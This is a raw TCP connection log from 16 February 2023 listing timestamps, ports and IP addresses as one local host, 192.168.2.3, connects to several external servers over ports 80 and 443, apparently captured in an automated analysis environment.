Feb 16, 2023 13:57:26.103317976 CET	49688	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:26.103368998 CET	49688	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:26.158227921 CET	80	49688	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:27.181920052 CET	49689	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:27.238764048 CET	80	49689	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:27.238962889 CET	49689	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:27.259749889 CET	49689	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:27.259799004 CET	49689	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:27.313378096 CET	80	49689	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:27.592839003 CET	80	49689	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:27.592865944 CET	80	49689	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:27.592952967 CET	49689	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:27.593003035 CET	49689	80	192.168.2.3	95.158.162.200
Feb 16, 2023 13:57:27.641443014 CET	49690	80	192.168.2.3	211.119.84.111
Feb 16, 2023 13:57:27.716272116 CET	80	49689	95.158.162.200	192.168.2.3
Feb 16, 2023 13:57:27.880249977 CET	80	49690	211.119.84.111	192.168.2.3
Feb 16, 2023 13:57:27.880347013 CET	49690	80	192.168.2.3	211.119.84.111
Feb 16, 2023 13:57:27.880762100 CET	49690	80	192.168.2.3	211.119.84.111
Feb 16, 2023 13:57:27.880852938 CET	49690	80	192.168.2.3	211.119.84.111
Feb 16, 2023 13:57:28.119525909 CET	80	49690	211.119.84.111	192.168.2.3
Feb 16, 2023 13:57:29.146518946 CET	80	49690	211.119.84.111	192.168.2.3
Feb 16, 2023 13:57:29.146632910 CET	80	49690	211.119.84.111	192.168.2.3
Feb 16, 2023 13:57:29.146840096 CET	49690	80	192.168.2.3	211.119.84.111
Feb 16, 2023 13:57:29.146840096 CET	49690	80	192.168.2.3	211.119.84.111
Feb 16, 2023 13:57:29.198745012 CET	49691	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:29.385623932 CET	80	49690	211.119.84.111	192.168.2.3
Feb 16, 2023 13:57:29.449599028 CET	80	49691	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:29.449837923 CET	49691	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:29.473334074 CET	49691	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:29.473403931 CET	49691	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:29.724586964 CET	80	49691	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:30.766644001 CET	80	49691	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:30.766674995 CET	80	49691	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:30.766803026 CET	49691	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:30.766956091 CET	49691	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:30.817300081 CET	49692	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:30.924551010 CET	80	49692	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:30.924756050 CET	49692	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:30.925180912 CET	49692	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:30.925267935 CET	49692	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:31.017573118 CET	80	49691	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:31.035557032 CET	80	49692	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:31.035594940 CET	80	49692	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:31.341516972 CET	80	49692	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:31.341550112 CET	80	49692	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:31.341712952 CET	49692	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:31.341881037 CET	49692	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:31.420494080 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:31.420578957 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:31.420731068 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:31.425476074 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:31.425514936 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:31.445539951 CET	80	49692	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:31.854373932 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:31.854562044 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:31.857641935 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:31.857671976 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:31.858138084 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:31.975694895 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:32.111944914 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:32.111968040 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434550047 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434587955 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434614897 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434634924 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434643984 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434653044 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434681892 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.434715986 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434784889 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.434784889 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.434851885 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434865952 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434902906 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434931993 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.434964895 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.434964895 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.434992075 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.435029030 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.435040951 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.572715044 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.572751045 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.572901011 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.572940111 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.573056936 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.573056936 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.573407888 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.573437929 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.573513985 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.573539019 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.573561907 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.573597908 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.574103117 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.574130058 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.574218035 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.574235916 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.574294090 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.574332952 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.712888956 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.712924004 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.713119030 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.713149071 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.713181973 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.713223934 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.713782072 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.713809967 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.713912010 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.713924885 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.713994980 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.714916945 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.714946032 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.715048075 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.715065002 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.715097904 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.715121031 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.715279102 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.715306044 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.715353966 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.715367079 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.715405941 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.715430975 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.715668917 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.715693951 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.715768099 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.715779066 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.715827942 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.715864897 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.716159105 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.716187000 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.716289043 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.716300964 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.716357946 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.854284048 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.854316950 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.854545116 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.854582071 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.854639053 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.854955912 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.854981899 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.855042934 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.855057001 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.855084896 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.855106115 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.855528116 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.855571032 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.855648041 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.855659008 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.855695963 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.855715990 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.856121063 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.856144905 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.856219053 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.856235981 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.856259108 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.856291056 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.856751919 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.856775999 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.856857061 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.856868982 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.856898069 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.856924057 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.857321978 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.857346058 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.857393026 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.857403994 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.857424974 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.857445002 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.857897043 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.857923031 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.857992887 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.858002901 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.858036995 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.858061075 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.858473063 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.858498096 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.858560085 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.858568907 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.858593941 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.858617067 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.859441996 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.859504938 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.859530926 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.859603882 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.859617949 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.859644890 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.859672070 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.860093117 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.860110044 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.860136032 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.860204935 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.860218048 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:37.860234976 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.860260963 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.860307932 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:37.860440016 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.003719091 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.003750086 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.003806114 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.003834963 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.003861904 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.003884077 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.003884077 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.003931046 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.003935099 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.003968000 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.003982067 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.003984928 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004012108 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004018068 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004060030 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004074097 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004086018 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004090071 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004115105 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004156113 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004170895 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004183054 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004184961 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004221916 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004262924 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004275084 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004290104 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004292965 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004313946 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004354000 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004369020 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004390001 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004393101 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004416943 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004461050 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004477978 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004486084 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004498005 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004542112 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004555941 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004576921 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004585981 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004602909 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004612923 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004642010 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004642963 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004687071 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004695892 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004725933 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004740000 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004743099 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004765987 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004786015 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004796982 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004812002 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004836082 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004849911 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004882097 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004892111 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004906893 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.004920006 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004931927 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.004966021 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.005043983 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.005230904 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.007769108 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.007785082 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.007812977 CET	49693	443	192.168.2.3	190.114.9.88
Feb 16, 2023 13:57:38.007822037 CET	443	49693	190.114.9.88	192.168.2.3
Feb 16, 2023 13:57:38.241717100 CET	49694	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:38.348031998 CET	80	49694	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:38.348265886 CET	49694	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:38.348664999 CET	49694	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:38.348728895 CET	49694	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:38.453063965 CET	80	49694	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:41.863048077 CET	80	49694	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:41.863096952 CET	80	49694	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:41.863398075 CET	49694	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:41.866774082 CET	49694	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:41.885293961 CET	49694	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:41.988042116 CET	80	49694	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:43.297714949 CET	49695	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:43.547068119 CET	80	49695	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:43.547261000 CET	49695	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:43.547597885 CET	49695	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:43.547641039 CET	49695	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:43.796650887 CET	80	49695	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:44.491425037 CET	80	49695	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:44.491472006 CET	80	49695	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:44.491733074 CET	49695	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:44.532903910 CET	49695	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:44.781968117 CET	80	49695	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:45.141683102 CET	49696	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:45.297400951 CET	80	49696	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:45.297637939 CET	49696	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:45.298062086 CET	49696	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:45.298139095 CET	49696	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:45.454612017 CET	80	49696	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:46.107988119 CET	80	49696	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:46.108365059 CET	49696	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:46.108581066 CET	80	49696	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:46.108691931 CET	49696	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:46.141176939 CET	49697	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:46.263806105 CET	80	49696	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:46.293402910 CET	80	49697	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:46.293565989 CET	49697	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:46.293960094 CET	49697	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:46.294025898 CET	49697	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:46.447118998 CET	80	49697	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:47.103210926 CET	80	49697	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:47.103400946 CET	49697	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:47.103815079 CET	80	49697	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:47.103919983 CET	49697	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:57:47.210484982 CET	49698	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:47.255610943 CET	80	49697	203.91.116.53	192.168.2.3
Feb 16, 2023 13:57:47.456588030 CET	80	49698	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:47.456782103 CET	49698	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:47.457200050 CET	49698	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:47.457262039 CET	49698	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:48.164640903 CET	49698	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:48.605942011 CET	80	49698	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:49.109102964 CET	80	49698	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:49.109148026 CET	80	49698	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:49.109328032 CET	49698	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:49.109405041 CET	49698	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:49.223985910 CET	49699	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:49.354873896 CET	80	49698	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:49.469743013 CET	80	49699	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:49.470004082 CET	49699	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:49.476929903 CET	49699	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:49.476973057 CET	49699	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:49.722635984 CET	80	49699	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:50.799792051 CET	80	49699	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:50.799853086 CET	80	49699	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:50.800014019 CET	49699	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:50.804578066 CET	49699	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:57:50.850439072 CET	49700	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:50.958297968 CET	80	49700	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:50.958493948 CET	49700	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:50.958898067 CET	49700	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:50.958939075 CET	49700	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:51.050371885 CET	80	49699	211.171.233.129	192.168.2.3
Feb 16, 2023 13:57:51.066308975 CET	80	49700	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:51.066348076 CET	80	49700	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:52.911211967 CET	80	49700	2.180.10.7	192.168.2.3
